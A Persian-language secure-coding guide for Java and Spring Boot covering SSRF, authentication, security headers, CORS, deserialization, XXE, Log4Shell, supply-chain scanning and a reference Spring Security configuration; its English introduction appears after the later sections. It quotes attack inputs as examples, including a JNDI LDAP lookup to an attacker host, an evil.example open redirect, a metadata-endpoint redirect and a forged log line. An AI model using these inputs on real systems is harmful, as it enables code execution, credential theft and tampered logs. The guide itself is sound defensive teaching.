(۱) mass assignment در binding فرم: Spring4Shell (CVE-2022-22965) از همین ریشه آمد — binder اجازه می‌داد مهاجم از مسیر class.module.classLoader... به تنظیمات ClassLoader برسد و روی Tomcat یک web shell بنویسد. اگر ناچار از binding هستی: binder.setDisallowedFields("class.*", "Class.*", "*.class.*", "*.Class.*"). درس معماری: نگذار گراف اشیای داخلی مستقیماً از ورودی HTTP نگاشت شود.

(۲) ترتیب عملیات در path traversal: اگر اول startsWith را چک کنی و بعد normalize()، هیچ کاری نکرده‌ای؛ همیشه normalize قبل از مقایسه، و با symlink از toRealPath() استفاده کن. بهتر از همه: نام فایل کاربر را اصلاً مسیر نکن. ضمناً Spring Security پیش‌فرض StrictHttpFirewall را فعال می‌کند که slash و نقطهٔ URL-encode شده و کاراکترهای کنترلی را با RequestRejectedException رد می‌کند؛ اگر شلش کردی بدان چه باز کرده‌ای.

(۳) // در open redirect: //evil.example یک protocol-relative URL است — با / شروع می‌شود ولی مرورگر آن را مطلق و به دامنهٔ دیگر تفسیر می‌کند؛ پس شرط «با / شروع می‌شود» کافی نیست و allowlist مسیر لازم است.

۶.۵ SSRF

اپ یک URL از کاربر می‌گیرد و fetch می‌کند (پیش‌نمایش لینک، وب‌هوک، ایمپورت تصویر)؛ مهاجم آدرس داخلی می‌دهد و سرور تو proxy او در شبکهٔ داخلی می‌شود.

زنجیرهٔ کنترل: scheme فقط https → host در allowlist → resolve و رد کردن IPهای خصوصی → اتصال با redirect بسته → خواندن با سقف حجم و زمان.

private static final Set<String> ALLOWED_HOSTS = Set.of("images.partner.example", "cdn.partner.example");

public byte[] fetch(String rawUrl) throws IOException, InterruptedException {
    URI uri = URI.create(rawUrl);
    if (!"https".equalsIgnoreCase(uri.getScheme()) || !ALLOWED_HOSTS.contains(uri.getHost())) {
        throw new IllegalArgumentException("scheme or host not allowed");
    }
    for (InetAddress a : InetAddress.getAllByName(uri.getHost())) {
        if (a.isLoopbackAddress() || a.isLinkLocalAddress() || a.isSiteLocalAddress()
                || a.isAnyLocalAddress() || a.isMulticastAddress()) {
            throw new IllegalArgumentException("target resolves to a private address");
        }
    }
    HttpClient client = HttpClient.newBuilder()
            .followRedirects(HttpClient.Redirect.NEVER)   // a redirect can point back inside
            .connectTimeout(Duration.ofSeconds(3)).build();
    HttpRequest req = HttpRequest.newBuilder(uri).timeout(Duration.ofSeconds(5)).GET().build();
    return client.send(req, HttpResponse.BodyHandlers.ofByteArray()).body();
}
سه تله‌ای که اکثر دفاع‌های SSRF را می‌شکند

(۱) DNS rebinding / TOCTOU: بین لحظهٔ اعتبارسنجی DNS و لحظه‌ای که کتابخانه دوباره resolve می‌کند، پاسخ DNS می‌تواند به 127.0.0.1 تغییر کند. دفاع: به IP‌ای که خودت اعتبارسنجی کرده‌ای وصل شو، یا ترافیک خروجی را از egress proxy با allowlist عبور بده.

(۲) redirect: با followRedirects روشن، مقصد مجاز می‌تواند تو را با 302 به http://169.254.169.254/ بفرستد — endpoint متادیتای ابری که اعتبارنامه برمی‌گرداند. یا redirect را ببند یا هر hop را دوباره اعتبارسنجی کن.

(۳) نشت از طریق پاسخ: حتی بدون نمایش محتوا، کد وضعیت و زمان پاسخ برای اسکن پورت داخلی کافی است؛ پیام خطا را یکنواخت کن. راه‌حل معماری‌تر: هر تماس خروجی را از یک egress gateway رد کن و شبکهٔ pod را با NetworkPolicy ببند (containers-jvm).

«SSRF چیست و چرا در معماری ابری خطرناک‌تر است؟»

پاسخ: SSRF یعنی مهاجم سرور مرا وادار می‌کند به مقصدی که خودش انتخاب کرده درخواست بزند. در ابر خطرناک‌تر است چون سرور در شبکه‌ای نشسته که از بیرون قابل‌دسترس نیست و معمولاً به instance metadata service روی 169.254.169.254 دسترسی دارد که اعتبارنامهٔ نقش سرویس را برمی‌گرداند؛ یعنی یک SSRF ساده به کلیدهای ابری تبدیل می‌شود. دفاع‌ها لایه‌ای‌اند: allowlist دامنه، اعتبارسنجی IP پس از resolve و اتصال به همان IP، بستن redirect، اجباری کردن IMDSv2، و کنترل شبکه‌ای egress. نکتهٔ کلیدی: دفاع نهایی شبکه است نه کد، چون کد همیشه یک مسیر فراموش‌شده دارد.


۷. شکست احراز هویت و نشست (A07:2025)

Session fixation: مهاجم شناسهٔ نشستی را به قربانی تحمیل می‌کند؛ قربانی وارد می‌شود و چون شناسه عوض نشده، مهاجم یک نشست احرازهویت‌شده در دست دارد. دفاع: بعد از ورود موفق شناسه را عوض کن — Spring Security پیش‌فرض همین کار را می‌کند.

http.sessionManagement(session -> session
        .sessionFixation(fixation -> fixation.changeSessionId())   // default
        .maximumSessions(3));
@Bean
PasswordEncoder passwordEncoder() {
    // stores {argon2}… prefixed hashes and still verifies legacy {bcrypt} ones
    return PasswordEncoderFactories.createDelegatingPasswordEncoder();
}

// pin parameters explicitly if you need to (OWASP minimum: 19 MiB, t=2, p=1):
// new Argon2PasswordEncoder(16, 32, 1, 19 * 1024, 2)

DelegatingPasswordEncoder الگوی درست است چون hash را با پیشوند شناسه ذخیره می‌کند ({bcrypt}$2a$10$...)؛ یعنی می‌توانی الگوریتم را بدون ریست کردن همهٔ کاربران عوض کنی: hashهای قدیمی همچنان تأیید و در اولین ورود موفق بازنویسی می‌شوند.

// Distributed brute-force protection: a fixed window counter in Redis
public boolean allow(String key) {
    String redisKey = "rl:login:" + key;
    Long count = redis.opsForValue().increment(redisKey);
    if (count != null && count == 1L) {
        redis.expire(redisKey, Duration.ofMinutes(15));   // start the window on first hit
    }
    return count == null || count <= MAX_ATTEMPTS;
}

شمارنده را با یک listener روی AuthenticationFailureBadCredentialsEvent تغذیه کن، هم برای نام کاربری و هم برای IP مبدأ.

سه اشتباه که حساب‌ها را می‌بازند

(۱) hash سریع: SHA-256 یا MD5 — حتی با salt — برای رمز غلط است، چون سریع بودن دقیقاً چیزی است که مهاجم می‌خواهد. تابع باید عمداً کند و حافظه‌بر باشد: Argon2id (توصیهٔ OWASP: حداقل ۱۹ مگابایت حافظه، ۲ تکرار، موازی‌سازی ۱) یا bcrypt با work factor حداقل ۱۰ که فقط ۷۲ بایت اول را می‌بیند.

(۲) پیام خطای متفاوت: «کاربر یافت نشد» در برابر «رمز اشتباه» یک user enumeration تمام‌عیار است. پاسخ و زمان پاسخ را یکسان کن — حتی وقتی کاربر وجود ندارد یک hash ساختگی را تأیید کن.

(۳) rate limiting فقط روی IP: credential stuffing از ده‌ها هزار IP می‌آید و هر IP چند تلاش می‌زند؛ حداقل سه بُعد را بشمار: per-username، per-IP، و سراسری روی endpoint ورود. پاسخ درست قفل کردن حساب نیست (که خودش DoS روی کاربران واقعی است) بلکه تأخیر تصاعدی، CAPTCHA و در نهایت MFA؛ و همیشه 429 را با هدر Retry-After بفرست.


۸. Security Misconfiguration (A02:2025)، هدرها و CORS

هدر مقدار پیشنهادی جلوی چه چیزی را می‌گیرد
Strict-Transport-Security max-age=31536000 ; includeSubDomains downgrade به HTTP، SSL stripping
Content-Security-Policy default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none' بهره‌برداری از XSS، تزریق تگ base
X-Content-Type-Options nosniff MIME sniffing (فایل آپلودی که HTML اجرا شود)
X-Frame-Options DENY (یا frame-ancestors در CSP) clickjacking
Referrer-Policy strict-origin-when-cross-origin نشت مسیر و توکن در هدر Referer
Permissions-Policy geolocation=(), camera=(), microphone=() دسترسی ناخواستهٔ APIهای مرورگر
Cache-Control no-store برای پاسخ حساس ماندن دادهٔ خصوصی در cache یا proxy

Spring Security پیش‌فرض این‌ها را می‌فرستد: Cache-Control: no-cache, no-store, max-age=0, must-revalidate، Pragma: no-cache، Expires: 0، X-Content-Type-Options: nosniff، X-Frame-Options: DENY، X-XSS-Protection: 0، و روی HTTPS هم HSTS. بقیه با توست:

http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp.policyDirectives(
        "default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"))
    .referrerPolicy(r -> r.policy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN))
    .permissionsPolicy(p -> p.policy("geolocation=(), camera=(), microphone=()"))
    .httpStrictTransportSecurity(hsts -> hsts.includeSubDomains(true).maxAgeInSeconds(31536000)));

Clickjacking: مهاجم صفحهٔ تو را در یک <iframe> نامرئی روی صفحهٔ خودش می‌گذارد؛ کاربر فکر می‌کند روی «برندهٔ جایزه شو» کلیک می‌کند، در حالی که روی «تأیید انتقال وجه» در اپ تو کلیک کرده. دفاع مدرن frame-ancestors 'none' است؛ برای embed مجاز frame-ancestors https://partner.example بده — نه ALLOW-FROM که پشتیبانی نمی‌شود.

CORS درست

CORS یک کنترل امنیتی برای سرور تو نیست؛ آسان‌گیری کنترل‌شده روی same-origin policy مرورگر است: «اجازه داری پاسخ من را به این origin نشان دهی».

@Bean
CorsConfigurationSource corsConfigurationSource() {
    CorsConfiguration config = new CorsConfiguration();
    config.setAllowedOrigins(List.of("https://app.example.com", "https://admin.example.com"));
    config.setAllowedMethods(List.of("GET", "POST", "PUT", "PATCH", "DELETE"));
    config.setAllowedHeaders(List.of("Authorization", "Content-Type", "X-XSRF-TOKEN"));
    config.setExposedHeaders(List.of("X-Total-Count"));
    config.setAllowCredentials(true);
    config.setMaxAge(Duration.ofMinutes(30));

    UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
    source.registerCorsConfiguration("/api/**", config);
    return source;
}

و برای actuator: management.endpoints.web.exposure.include را صریح بنویس (هرگز *management.endpoint.health.show-details=when-authorized و endpoint.env.show-values=never بگذار، و با management.server.port آن را روی پورتی جدا ببر که ingress منتشرش نمی‌کند.

پیکربندی‌هایی که واقعاً باعث رخنه می‌شوند

CORS: ترکیب allowedOrigins("*") با allowCredentials(true) را مشخصات ممنوع کرده؛ اگر برای دور زدنش سراغ setAllowedOriginPatterns("*") بروی، به هر سایتی اجازه داده‌ای با cookieهای کاربر به API تو بزند و پاسخ را بخواند. بازتاب دادن هدر Origin همان فاجعه با ظاهر بی‌گناه است، و قاعدهٔ «هر origin که به example.com ختم شود» با evil-example.com دور زده می‌شود. و یادت باشد CORS جلوی ارسال درخواست را نمی‌گیرد؛ پس جایگزین CSRF نیست.

بقیه: actuatorهای /env, /heapdump, /threaddump روی پورت عمومی (/heapdump عملاً همهٔ رازهای در حافظه را می‌دهد)؛ stack trace در پاسخ خطا؛ کلید پیش‌فرضِ عوض‌نشده؛ کانتینر با کاربر root؛ و لاگ DEBUG روی کلاینت HTTP که بدنهٔ درخواست همراه توکن را چاپ می‌کند.


۹. شکست یکپارچگی نرم‌افزار و داده (A08:2025)

بسته‌ای که خودش را باز می‌کند

serialization معمولی مثل بستن یک جعبه است؛ کسی که بازش می‌کند فقط محتویات را می‌بیند. اما serialization بومی Java مثل بسته‌ای است که دستور نصب هم داخلش دارد: هنگام باز شدن، متدهایی مثل readObject و readResolve روی کلاس‌های داخل بسته اجرا می‌شوند. مهاجم محتویات را طوری می‌چیند که این متدهای بی‌گناه، پشت‌سرهم، به یک فراخوانی خطرناک برسند. به این زنجیره gadget chain می‌گویند. نکتهٔ حیاتی: این اتفاق قبل از هر بررسی نوعی می‌افتد — تا وقتی بتوانی instanceof بزنی، کد مهاجم مدت‌هاست اجرا شده.

زنجیرهٔ gadget در یک نگاه — Gadget chain at a glance:

flowchart LR
    A[Untrusted bytes] --> B[readObject]
    B --> C[readObject of a library class]
    C --> D[Chained call via reflection or proxies]
    D --> E[Runtime.exec or template eval]
    E --> F[RCE]
// If you must deserialize native Java: install a filter (JEP 290, Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "com.example.dto.*;java.util.ArrayList;java.lang.String;!*");
try (ObjectInputStream in = new ObjectInputStream(source)) {
    in.setObjectInputFilter(filter);   // must be set before readObject
    Object o = in.readObject();
}
# JVM-wide belt and braces: reject everything not explicitly allowed
java -Djdk.serialFilter='com.example.dto.*;java.base/java.util.ArrayList;!*' -jar app.jar

# Java 17+ (JEP 415): a filter factory applies context-specific filters
java -Djdk.serialFilterFactory=com.example.security.AppSerialFilterFactory -jar app.jar

برای Jackson، اگر بگذاری نوع واقعی شیء از خود JSON خوانده شود، به مهاجم گفته‌ای کدام کلاس ساخته شود:

// DANGEROUS: attacker controls the type name in the payload
mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, DefaultTyping.NON_FINAL);

// SAFER: validate which subtypes are allowed
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.example.model.").build();
ObjectMapper mapper = JsonMapper.builder()
        .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();
// BEST: closed, explicit polymorphism — no class names on the wire at all
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, property = "type")
@JsonSubTypes({ @JsonSubTypes.Type(value = CardPayment.class, name = "card"),
                @JsonSubTypes.Type(value = WalletPayment.class, name = "wallet") })
public sealed interface Payment permits CardPayment, WalletPayment { }

XXE همان مسئله در دنیای XML است: سند می‌تواند موجودیتی تعریف کند که محتوای file:///etc/passwd یا http://internal/... را می‌خواند.

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

XMLInputFactory xif = XMLInputFactory.newFactory();          // StAX
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// for XSLT also set XMLConstants.ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_STYLESHEET to ""
سه جزئیات که این دفاع‌ها را بی‌اثر می‌کنند

(۱) نبود !* در انتهای فیلتر: الگو از چپ به راست ارزیابی می‌شود و اولین تطبیق برنده است؛ بدون !* هر کلاسِ نیامده در فهرست پذیرفته می‌شود و فیلتر دکور است.

(۲) activateDefaultTyping با هر validatorی: بهترین دفاع، نبودن نام کلاس روی سیم است. Jackson 3 (همراه Spring Boot 4، منتقل‌شده به بسته‌های tools.jackson.* در حالی که annotationها در com.fasterxml.jackson.annotation مانده‌اند) پیش‌فرض‌های امن‌تری دارد، ولی اصل عوض نشده. جزئیات در jackson-json.

(۳) بستن فقط موجودیت‌های خارجی در XML: اگر DTD را اجازه بدهی، مهاجم با تعریف تودرتوی موجودیت‌های داخلی یک سند چندکیلوبایتی می‌نویسد که هنگام بسط، گیگابایت‌ها حافظه می‌گیرد (billion laughs). خط اول همیشه disallow-doctype-decl = true است.

مطالعهٔ موردی: Log4Shell

CVE-2021-44228: Log4j 2 در متن پیام لاگ عبارت‌های ${...} را ارزیابی می‌کرد و یکی از lookupها jndi بود که می‌توانست شیئی را از یک سرور LDAP/RMI راه دور بگیرد و بارگذاری کند؛ یعنی صرفِ لاگ کردن یک User-Agent با مقدار ${jndi:ldap://attacker/x} به RCE تبدیل می‌شد. سه دلیل فاجعه‌بار بودنش: سطح حمله همه‌جا بود (هر رشته‌ای که به لاگ می‌رسد)؛ وابستگی غالباً transitive بود و تیم‌ها نمی‌دانستند Log4j دارند؛ و پردازه اجازهٔ اتصال خروجی دلخواه داشت. ترتیب وصله‌ها هم درس دارد: 2.15.0 مشکل اصلی را کاهش داد، 2.16.0 lookup پیام را حذف کرد (CVE-2021-45046)، 2.17.0 یک DoS بازگشتی را بست (CVE-2021-45105) و 2.17.1 مسیر دیگری را (CVE-2021-44832) — اولین وصله معمولاً آخرین وصله نیست.

# find the real, transitive version you are shipping
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencyInsight --configuration runtimeClasspath --dependency log4j-core
درس senior از Log4Shell (هیچ‌کدام «Log4j را آپدیت کن» نیست)

اول: هر کتابخانه‌ای که رشته را «تفسیر» می‌کند (لاگ، قالب، expression) یک مفسر است و مفسر یعنی سطح حملهٔ injection؛ این را در انتخاب کتابخانه لحاظ کن. دوم: باید در کمتر از یک ساعت بتوانی جواب بدهی «نسخهٔ X از کتابخانهٔ Y در کدام سرویس‌ها اجرا می‌شود؟» — و جواب یعنی SBOM. سوم: خروج شبکه‌ای پیش‌فرضِ باز، تفاوت بین «آسیب‌پذیر» و «رخنه‌خورده» است؛ اگر pod اجازهٔ اتصال به اینترنت نداشت، بسیاری از این زنجیره‌ها همان‌جا می‌شکستند.

«Log4Shell را برای یک مدیر غیرفنی توضیح بده و بگو چطور جلوی تکرارش را می‌گیری.»

پاسخ: ساده: سیستم ما وقتی چیزی را در دفترچهٔ رویدادها یادداشت می‌کرد، اگر متن یادداشت یک «دستور» بود آن را اجرا می‌کرد؛ و متن یادداشت را کاربر بیرونی تعیین می‌کرد. برای جلوگیری از تکرار سه سرمایه‌گذاری لازم است: SBOM برای هر سرویس تا در چند دقیقه بدانیم کجا چه داریم؛ توان وصلهٔ سریع، چون اگر انتشار نسخهٔ اصلاحی چهار هفته طول بکشد سرعت خبردار شدن بی‌فایده است؛ و مهار انفجار، یعنی کمترین سطح دسترسی و بستن ترافیک خروجی. این سه مستقل از این‌که آسیب‌پذیری بعدی چه باشد کار می‌کنند.


۱۰. شکست‌های زنجیرهٔ تأمین (A03:2025)

کد تو شاید ده هزار خط باشد و وابستگی‌هایت ده میلیون خط. دستهٔ جدید ۲۰۲۵ فقط «کتابخانهٔ قدیمی» نیست؛ خودِ خط لولهٔ ساخت، رجیستری‌ها، اکشن‌های CI و ایمیج‌های پایه را هم می‌گیرد.

هدف دستور
اسکن CVE وابستگی‌های Maven mvn org.owasp:dependency-check-maven:12.2.2:check -Dnvd.api.key=$NVD_API_KEY
همان با Gradle ./gradlew dependencyCheckAnalyze
ساخت SBOM (CycloneDX) از Maven mvn org.cyclonedx:cyclonedx-maven-plugin:2.9.2:makeAggregateBom
اسکن کد، وابستگی، راز و پیکربندی trivy fs --scanners vuln,secret,misconfig --severity HIGH,CRITICAL --exit-code 1 .
اسکن ایمیج کانتینر trivy image --scanners vuln --ignore-unfixed myapp:1.4.2
اسکن با Snyk و آستانهٔ شکست snyk test --severity-threshold=high
فهمیدن چرا این نسخه انتخاب شده (Gradle) ./gradlew dependencyInsight --configuration runtimeClasspath --dependency jackson-databind

در pom.xml همان plugin با <failBuildOnCVSS>7</failBuildOnCVSS> و یک <suppressionFile> بسته می‌شود تا build روی یافته‌های جدی بشکند.

از نسخهٔ ۹ به بعد dependency-check از NVD API استفاده می‌کند؛ بدون کلید API به‌روزرسانی پایگاه داده به‌شدت کند و مستعد throttling است. کلید رایگان است و باید در CI به‌عنوان secret تزریق شود، نه در pom.xml.

سخت‌کردن خط لوله: وابستگی را به نسخهٔ دقیق پین کن (LATEST/RELEASE ممنوع)؛ اکشن‌های CI را با commit SHA پین کن نه تگ متغیر؛ ایمیج پایه را با digest (FROM eclipse-temurin:25-jre@sha256:...)؛ از رجیستری داخلی استفاده کن و آرتیفکت‌ها را امضا کن؛ و مراقب dependency confusion باش — اگر نام package داخلی‌ات در رجیستری عمومی ثبت نشده باشد، کسی می‌تواند همان نام را با نسخهٔ بالاتر منتشر کند و build تو برش دارد.

هشدارهای انبوه، تیم را کور می‌کنند

اگر build را روی «هر CVE با هر شدتی» بشکنی، ظرف دو هفته همه یاد می‌گیرند suppress کنند و ابزار بی‌اثر می‌شود. سیاست عملی: شکستن build فقط برای CRITICAL/HIGH که وصله دارند و در runtime classpath هستند؛ بقیه issue با SLA. هر suppress باید تاریخ انقضا و دلیل داشته باشد، وگرنه فایل suppression خودش بدهی امنیتی می‌شود. و تفاوت «آسیب‌پذیر» با «قابل بهره‌برداری» را جدی بگیر.

«SBOM چیست و چه مشکلی را حل می‌کند که اسکنر حل نمی‌کند؟»

پاسخ: SBOM فهرست ماشین‌خوان همهٔ اجزای یک آرتیفکت است — معمولاً CycloneDX یا SPDX — که در زمان ساخت تولید و کنار همان آرتیفکت ذخیره می‌شود. اسکنر می‌گوید «امروز چه چیزی آسیب‌پذیر است»، SBOM می‌گوید «دقیقاً چه چیزی همین حالا در تولید اجرا می‌شود». وقتی فردا یک CVE صفرروزه منتشر شود، پاسخ به «کدام سرویس‌ها این کتابخانه را با چه نسخه‌ای دارند؟» باید در چند دقیقه بیاید و اسکن مجدد همهٔ ریپازیتوری‌ها آن سرعت را نمی‌دهد. ضمناً SBOM می‌گوید نسخه‌ای که واقعاً build شد چه بود، نه آنچه امروز در pom.xml نوشته است.


۱۱. لاگ، خطا و شرایط استثنایی (A09 و A10)

// VULNERABLE: these two lines have leaked more credentials than any exploit
log.info("Calling payment API with request: {}", request);   // request holds the card PAN
log.debug("Authorization header = {}", authorizationHeader);

// SAFE: structured, minimal, explicit fields only
log.info("payment.initiated orderId={} amount={} pan={}",
        order.id(), order.amount(), mask(card.pan()));
@ExceptionHandler(Exception.class)
public ResponseEntity<ProblemDetail> onUnexpected(Exception ex) {
    String traceId = MDC.get("traceId");
    log.error("unhandled exception traceId={}", traceId, ex);   // full detail to the log only
    ProblemDetail body = ProblemDetail.forStatusAndDetail(HttpStatus.INTERNAL_SERVER_ERROR,
            "An unexpected error occurred. Reference: " + traceId);
    return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(body);
}

و در پیکربندی: server.error.include-stacktrace=never به‌همراه include-message=never و include-binding-errors=never.

`fail open` سکوت‌آمیز، بدترین حالت A10 است

الگویی که واقعاً در تولید دیده می‌شود: یک catch (Exception e) { return true; } در تابع بررسی مجوز، یا circuit breakerی که وقتی سرویس authorization پایین است «همه را اجازه بده» برمی‌گرداند. کنترل‌های امنیتی باید fail closed باشند: اگر نمی‌توانی تصمیم بگیری، رد کن — fallback هرگز نباید مجوز بدهد (resilience). مسئلهٔ دوم، log injection است: اگر کاربر نامش را alice\n2026-07-30 INFO admin login succeeded بگذارد، در فایل لاگ متنی رکورد جعلی ساخته و تحلیل حادثه را مسموم کرده. دفاع: لاگ ساخت‌یافتهٔ JSON، یا در Logback الگوی %replace(%msg){'[\r\n]', '_'} (فصل logging).


۱۲. پیکربندی مرجع Spring Security

نقطهٔ شروع واقعی برای اپ سرور-رندر با نشست cookie-based (Spring Boot 4 / Spring Security 7):

@Configuration
@EnableWebSecurity
@EnableMethodSecurity      // enables @PreAuthorize / @PostAuthorize
public class SecurityConfig {

    @Bean
    SecurityFilterChain filterChain(HttpSecurity http,
                                    CorsConfigurationSource corsSource) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/", "/login", "/css/**", "/actuator/health").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated())              // secure by default

            .csrf(csrf -> csrf
                .csrfTokenRequestHandler(new XorCsrfTokenRequestAttributeHandler()))

            .cors(cors -> cors.configurationSource(corsSource))

            .headers(headers -> headers /* the CSP, Referrer-Policy, Permissions-Policy
                                            and HSTS block shown earlier goes here */)

            .sessionManagement(session -> session
                .sessionFixation(fixation -> fixation.changeSessionId())
                .maximumSessions(3))

            .formLogin(form -> form
                .loginPage("/login")
                .failureUrl("/login?error")                 // never reveal which part failed
                .permitAll())

            .logout(logout -> logout
                .invalidateHttpSession(true)
                .deleteCookies("SESSION"));

        return http.build();
    }

    @Bean
    PasswordEncoder passwordEncoder() {
        return PasswordEncoderFactories.createDelegatingPasswordEncoder();
    }
}
چیدمان چند `SecurityFilterChain`

وقتی هم UI سرور-رندر داری و هم API بدون حالت، دو زنجیرهٔ جدا بساز نه یک زنجیرهٔ پر از شرط: زنجیرهٔ API با securityMatcher("/api/**") جدا می‌شود، sessionCreationPolicy(STATELESS) می‌گیرد، CSRF ندارد (چون فقط Bearer قبول می‌کند) و oauth2ResourceServer را می‌بندد. ترتیب با @Order تعیین می‌شود و زنجیرهٔ خاص‌تر اول می‌آید. همین تفکیک جلوی «CSRF را برای همه خاموش کردیم چون API اذیت می‌کرد» را می‌گیرد.


۱۳. یک security review واقعی چطور پیش می‌رود

خط لولهٔ امنیت در چرخهٔ تحویل — Security pipeline in the delivery lifecycle:

flowchart LR
    A[Design] -->|threat model| B[Code]
    B -->|SAST plus secret scan| C[Build]
    C -->|SCA plus SBOM| D[Artifact]
    D -->|image scan| E[Deploy]
    E -->|DAST plus config audit| F[Runtime]
    F -->|logs, alerts, bug bounty| A

SAST روی کد بدون اجرا کار می‌کند و false positive زیادی دارد، پس قواعدش را tune کن. Secret scanning هم در pre-commit hook و هم در CI؛ رازی که یک‌بار commit شد در تاریخچه می‌ماند — پس بعد از کشف راز را بچرخان. SCA همان ابزارهای بالا به‌علاوهٔ SBOM، و DAST علیه اپ در حال اجرا. بازبینی دستی جایی است که ابزارها کورند: منطق کسب‌وکار، authorization سطح شیء، و جریان‌های چندمرحله‌ای مثل بازیابی رمز. تست نفوذ و bug bounty تأیید بیرونی‌اند، نه جایگزین این‌ها.

چک‌لیست بازبینی یک PR: (۱) داده از کجا آمد و به کدام مفسر می‌رسد؟ (۲) هر مسیر دسترسی مالکیت را چک می‌کند یا فقط احراز هویت را؟ (۳) ورودی به DTO صریح bind می‌شود یا مستقیم به entity؟ (۴) در حالت خطا fail-closed هستیم و رازی وارد لاگ نشده؟ (۵) endpoint جدید rate limit، رویداد audit و تست authorization خودکار دارد؟

«یک اپلیکیشن ناآشنا و یک روز وقت. چطور بررسی امنیتی می‌کنی؟»

پاسخ: به ترتیب بیشترین بازده. ساعت ۱: نقشهٔ سطح حمله — فهرست endpointها (از OpenAPI یا فیلترها)، مکانیزم احراز هویت، مرزهای اعتماد. ساعت ۲–۳: authorization، چون A01 پرتکرارترین است؛ دنبال endpointهایی که شناسه از مسیر می‌گیرند و مالکیت را چک نمی‌کنند. ساعت ۴: مرزهای مفسر — grep برای concat در SQL، utext/innerHTML، ProcessBuilder، ObjectInputStream، parserهای XML. ساعت ۵: پیکربندی — actuator، CORS، هدرها، cookieها، مدیریت خطا. ساعت ۶: وابستگی‌ها و رازها. و یافته‌ها را با ریسک گزارش می‌کنم نه به‌شکل فهرست باگ: چه کسی می‌تواند چه کاری بکند و اثرش چیست.

جمع‌بندی
  • تقریباً هر آسیب‌پذیری وب روی یک مرز اعتماد متولد می‌شود؛ اول مرزها را پیدا کن، بعد دنبال باگ بگرد. خانوادهٔ Injection هم یک ریشه دارد: قاطی شدن داده و دستور. دفاع، کانال جدا است (PreparedStatement، پارامتر JPA، ProcessBuilder با argv) و برای بخش‌های غیرقابل‌bind مثل ORDER BY فقط allowlist.
  • XSS با encoding آگاه به context بسته می‌شود، نه با یک تابع escape همه‌کاره؛ CSP با nonce خط دوم است و HttpOnly فقط اثر را کم می‌کند.
  • CSRF فقط وقتی موضوعیت دارد که مرورگر اعتبارنامه را خودکار ضمیمه کند. SameSite پایه است، توکن synchronizer دفاع اصلی، و csrf().disable() فقط با توکن Bearer قابل توجیه است.
  • Broken Access Control رتبهٔ یک ۲۰۲۵ است و ابزار خودکار پیدایش نمی‌کند: مالکیت را به query یا لایهٔ داده (RLS/VPD) فشار بده؛ SSRF هم حالا ذیل همین دسته است.
  • Deserialization ناامن قبل از هر بررسی نوعی کد اجرا می‌کند؛ بهترین دفاع، deserialize نکردن دادهٔ نامطمئن است و بعد ObjectInputFilter که با !* تمام شود.
  • زنجیرهٔ تأمین (A03:2025) به SBOM در زمان ساخت و توان وصلهٔ سریع نیاز دارد؛ و پیکربندی و شرایط استثنایی دو دستهٔ صعودی ۲۰۲۵‌اند: هدرها را کامل کن، actuator را ببند، خطا را کم‌حرف کن، و همیشه fail closed.
  • در مصاحبه، آنچه سطح senior را نشان می‌دهد نه شمردن حمله‌ها بلکه بیان مکانیزم، مبادله و ترتیب اقدام است: چرا این دفاع کار می‌کند، چه چیزی را قربانی می‌کند، و اگر یک ساعت وقت داشته باشی اول کدام را انتخاب می‌کنی.

Every web application signs an unwritten contract with the outside world: "I accept input and do something useful with it." The attacker signs the same contract; only their input differs. Web security means your system stays as predictable on malicious input as it is on well-behaved input.

Most engineers learn security as a list of don'ts: "don't concatenate SQL", "don't write to innerHTML". That gets you past a junior interview, not a senior one. What a senior interviewer probes is the mechanism: why does PreparedStatement fix the problem while hand-rolled escaping does not? Why is CSRF irrelevant for an API using Authorization: Bearer, yet critical for the same API using a cookie?

Roadmap
  1. The mental model: trust boundaries, attacker models, OWASP Top 10:2025, STRIDE threat modelling.
  2. The Injection family: SQL, NoSQL, LDAP, OS command, expression/template.
  3. XSS: stored/reflected/DOM, context-aware encoding, CSP.
  4. CSRF: the mechanism, SameSite, tokens, and how REST + JWT changes the picture.
  5. Broken Access Control: IDOR/BOLA, mass assignment, path traversal, open redirect, SSRF.
  6. Authentication and sessions, plus misconfiguration: headers, CORS, actuators.
  7. Integrity: insecure deserialization, gadget chains, XXE, Log4Shell as a case study.
  8. Supply chain, safe logging, a reference Spring Security configuration, and a real security review.

We do not re-teach spring-security, ms-security (OAuth2/JWT/RBAC/ABAC), api-design, validation-mapstruct and logging; we only point at them.


1. The mental model: trust boundaries and attacker models

The bank counter

A bank teller does not trust the slip a customer pushes across the counter; it is only a request. Now imagine a slip reading "withdraw 100, and by the way move 5 million from the account next door" — if the teller fails to separate the command from the data, it is over. Anywhere data crosses from a low-trust zone into a high-trust one you have a trust boundary: browser→server, server→DB, service→service, uploaded file→image processor. The first question when reading unfamiliar code: "where did this data enter, and which boundary did it cross?"

Three attacker models are always present: the network attacker (sees or tampers with traffic → TLS, HSTS, Secure cookies); the web attacker (owns one site and lures the victim there → CSRF, clickjacking, reflected XSS; cheapest and most dangerous); and the malicious authenticated user (a real account after somebody else's data → IDOR). And your client is just an HTTP program anyone can replace with curl: client-side validation is UX, never a control.

What the OWASP Top 10 is

OWASP is a non-profit foundation, and the Top 10 is an awareness document, not an audit standard:

